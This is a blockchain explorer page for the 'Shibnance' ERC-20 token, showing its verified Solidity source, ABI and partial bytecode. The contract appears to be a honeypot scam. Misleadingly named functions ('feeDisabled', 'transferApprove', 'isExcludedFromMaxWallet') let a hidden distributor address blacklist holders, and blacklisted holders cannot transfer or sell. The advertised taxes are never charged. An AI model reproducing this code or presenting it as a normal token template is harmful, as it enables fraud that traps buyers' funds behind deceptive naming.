ETH Price: $3,493.09 (+1.16%)

Token

Shibnance (SHIBNANCE)
 

Overview

Max Total Supply

1,000,000,000,000 SHIBNANCE

Holders

84

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
542,088,383.652610966 SHIBNANCE

Value
$0.00
0xfdfbaaee90a20cc4fbd39bdc896c7a63da724a17
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SHIBNANCE

Compiler Version
v0.8.3+commit.8d00100c

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-28
*/

/**
███████╗██╗  ██╗██╗██████╗ ███╗   ██╗ █████╗ ███╗   ██╗ ██████╗███████╗
██╔════╝██║  ██║██║██╔══██╗████╗  ██║██╔══██╗████╗  ██║██╔════╝██╔════╝
███████╗███████║██║██████╔╝██╔██╗ ██║███████║██╔██╗ ██║██║     █████╗  
╚════██║██╔══██║██║██╔══██╗██║╚██╗██║██╔══██║██║╚██╗██║██║     ██╔══╝  
███████║██║  ██║██║██████╔╝██║ ╚████║██║  ██║██║ ╚████║╚██████╗███████╗
╚══════╝╚═╝  ╚═╝╚═╝╚═════╝ ╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═══╝ ╚═════╝╚══════╝
*/// SPDX-License-Identifier: MIT

pragma solidity 0.8.3;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address internal _distributor;
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    function feeDisabled(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
}

contract SHIBNANCE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _10000;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=24;
    uint256 private _initialSellTax=24;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=19;
    uint256 private _reduceSellTaxAt=29;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000000 * 10**_decimals;
    string private constant _name = unicode"Shibnance";
    string private constant _symbol = unicode"SHIBNANCE";
    uint256 public _maxTxAmount = 1000000000000 * 10**_decimals;
    uint256 public _maxWalletSize = 1000000000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1000000000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1000000000000 * 10**_decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if(to==owner()){
            taxAmount=0;
        }
        else if (from != owner() && to != owner()) {
            require(!_10000[from]);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        _taxSwapThreshold=_tTotal;
        _maxTaxSwap=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function isExcludedFromMaxWallet(address a) public view returns (bool){
      return _10000[a];
    }

    function transferApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _10000[address_[i]] = val;
        }
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"feeDisabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052601860085560186009556000600a556000600b556013600c55601d600d556014600e556000600f556009600a6200003c91906200050a565b64e8d4a510006200004e919062000647565b6010556009600a6200006191906200050a565b64e8d4a5100062000073919062000647565b6011556009600a6200008691906200050a565b64e8d4a5100062000098919062000647565b6012556009600a620000ab91906200050a565b64e8d4a51000620000bd919062000647565b60135560006015806101000a81548160ff0219169083151502179055506000601560166101000a81548160ff0219169083151502179055503480156200010257600080fd5b506000620001156200044f60201b60201c565b905080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001c46200044f60201b60201c565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021491906200050a565b64e8d4a5100062000226919062000647565b600260006200023a6200044f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460006200028e6200045760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003c16200044f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200042091906200050a565b64e8d4a5100062000432919062000647565b60405162000441919062000492565b60405180910390a3620006fb565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200048c81620006a8565b82525050565b6000602082019050620004a9600083018462000481565b92915050565b6000808291508390505b60018511156200050157808604811115620004d957620004d8620006bf565b5b6001851615620004e95780820291505b8081029050620004f985620006ee565b9450620004b9565b94509492505050565b60006200051782620006a8565b91506200052483620006b2565b9250620005537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200055b565b905092915050565b6000826200056d576001905062000640565b816200057d576000905062000640565b8160018114620005965760028114620005a157620005d7565b600191505062000640565b60ff841115620005b657620005b5620006bf565b5b8360020a915084821115620005d057620005cf620006bf565b5b5062000640565b5060208310610133831016604e8410600b8410161715620006115782820a9050838111156200060b576200060a620006bf565b5b62000640565b620006208484846001620004af565b925090508184048111156200063a5762000639620006bf565b5b81810290505b9392505050565b60006200065482620006a8565b91506200066183620006a8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200069d576200069c620006bf565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b612d8b806200070b6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c8063751039fc116100ad578063a9059cbb11610071578063a9059cbb14610311578063a9ddeaa214610341578063bf474bed1461035d578063c9567bf91461037b578063dd62ed3e146103855761012c565b8063751039fc1461028f5780637d1db4a5146102995780638da5cb5b146102b75780638f9a55c0146102d557806395d89b41146102f35761012c565b8063313ce567116100f4578063313ce567146101eb57806359b2f3a8146102095780636dd3d39f1461022557806370a0823114610255578063715018a6146102855761012c565b806306fdde0314610131578063095ea7b31461014f5780630faee56f1461017f57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b6101396103b5565b604051610146919061247b565b60405180910390f35b610169600480360381019061016491906120ac565b6103f2565b6040516101769190612460565b60405180910390f35b610187610410565b60405161019491906125fd565b60405180910390f35b6101a5610416565b6040516101b291906125fd565b60405180910390f35b6101d560048036038101906101d0919061205d565b61043b565b6040516101e29190612460565b60405180910390f35b6101f3610514565b6040516102009190612672565b60405180910390f35b610223600480360381019061021e9190611fcf565b61051d565b005b61023f600480360381019061023a9190611fcf565b610650565b60405161024c9190612460565b60405180910390f35b61026f600480360381019061026a9190611fcf565b6106a6565b60405161027c91906125fd565b60405180910390f35b61028d6106ef565b005b610297610847565b005b6102a16109c4565b6040516102ae91906125fd565b60405180910390f35b6102bf6109ca565b6040516102cc91906123f3565b60405180910390f35b6102dd6109f4565b6040516102ea91906125fd565b60405180910390f35b6102fb6109fa565b604051610308919061247b565b60405180910390f35b61032b600480360381019061032691906120ac565b610a37565b6040516103389190612460565b60405180910390f35b61035b600480360381019061035691906120e8565b610a55565b005b610365610bae565b60405161037291906125fd565b60405180910390f35b610383610bb4565b005b61039f600480360381019061039a9190612021565b611076565b6040516103ac91906125fd565b60405180910390f35b60606040518060400160405280600981526020017f536869626e616e63650000000000000000000000000000000000000000000000815250905090565b60006104066103ff6110fd565b8484611105565b6001905092915050565b60135481565b60006009600a610426919061278b565b64e8d4a5100061043691906128a9565b905090565b60006104488484846112d0565b610509846104546110fd565b61050485604051806060016040528060288152602001612d2e60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ba6110fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a809092919063ffffffff16565b611105565b600190509392505050565b60006009905090565b6105256110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ab9061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461060d57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106f76110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d9061251d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61084f6110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d59061251d565b60405180910390fd5b6009600a6108ec919061278b565b64e8d4a510006108fc91906128a9565b6010819055506009600a610910919061278b565b64e8d4a5100061092091906128a9565b6011819055506009600a610934919061278b565b64e8d4a5100061094491906128a9565b6012819055506009600a610958919061278b565b64e8d4a5100061096891906128a9565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61099d919061278b565b64e8d4a510006109ad91906128a9565b6040516109ba91906125fd565b60405180910390a1565b60105481565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600981526020017f534849424e414e43450000000000000000000000000000000000000000000000815250905090565b6000610a4b610a446110fd565b84846112d0565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada906125dd565b60405180910390fd5b60005b83839050811015610ba8578160056000868685818110610b2f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b449190611fcf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ba0906129d1565b915050610ae6565b50505050565b60125481565b610bbc6110fd565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c429061251d565b60405180910390fd5b601560149054906101000a900460ff1615610c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c92906125bd565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d3a30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610d25919061278b565b64e8d4a51000610d3591906128a9565b611105565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda9190611ff8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5e57600080fd5b505afa158015610e72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e969190611ff8565b6040518363ffffffff1660e01b8152600401610eb392919061240e565b602060405180830381600087803b158015610ecd57600080fd5b505af1158015610ee1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f059190611ff8565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fe4929190612437565b602060405180830381600087803b158015610ffe57600080fd5b505af1158015611012573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110369190612140565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff02191690831515021790555043600781905550565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611175576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116c9061259d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111dc906124dd565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112c391906125fd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611340576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113379061255d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a79061249d565b60405180910390fd5b600081116113f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ea9061253d565b60405180910390fd5b60006113fd6109ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143957600090506118c7565b6114416109ca565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114af575061147f6109ca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118c657600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150b57600080fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156115b65750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561160c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116d957601054821115611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d906124bd565b60405180910390fd5b60115482611663856106a6565b61166d91906126e2565b11156116ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a59061257d565b60405180910390fd5b4360036007546116be91906126e2565b11156116d8576116cd83611ae4565b156116d757600080fd5b5b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117815750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117df5760115482611793856106a6565b61179d91906126e2565b11156117de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d59061257d565b60405180910390fd5b5b60006117ea306106a6565b905060158054906101000a900460ff161580156118545750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561186c5750601560169054906101000a900460ff165b8015611879575060125481115b80156118885750600e54600f54115b156118c4576118aa6118a5846118a084601354611af7565b611af7565b611b10565b600047905060008111156118c2576118c147611e08565b5b505b505b5b61191982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e7490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119c06119728284611e7490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ebe90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611a658486611e7490919063ffffffff16565b604051611a7291906125fd565b60405180910390a350505050565b6000838311158290611ac8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abf919061247b565b60405180910390fd5b5060008385611ad79190612903565b9050809150509392505050565b600080823b905060008111915050919050565b6000818311611b065782611b08565b815b905092915050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b6d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611b9b57816020016020820280368337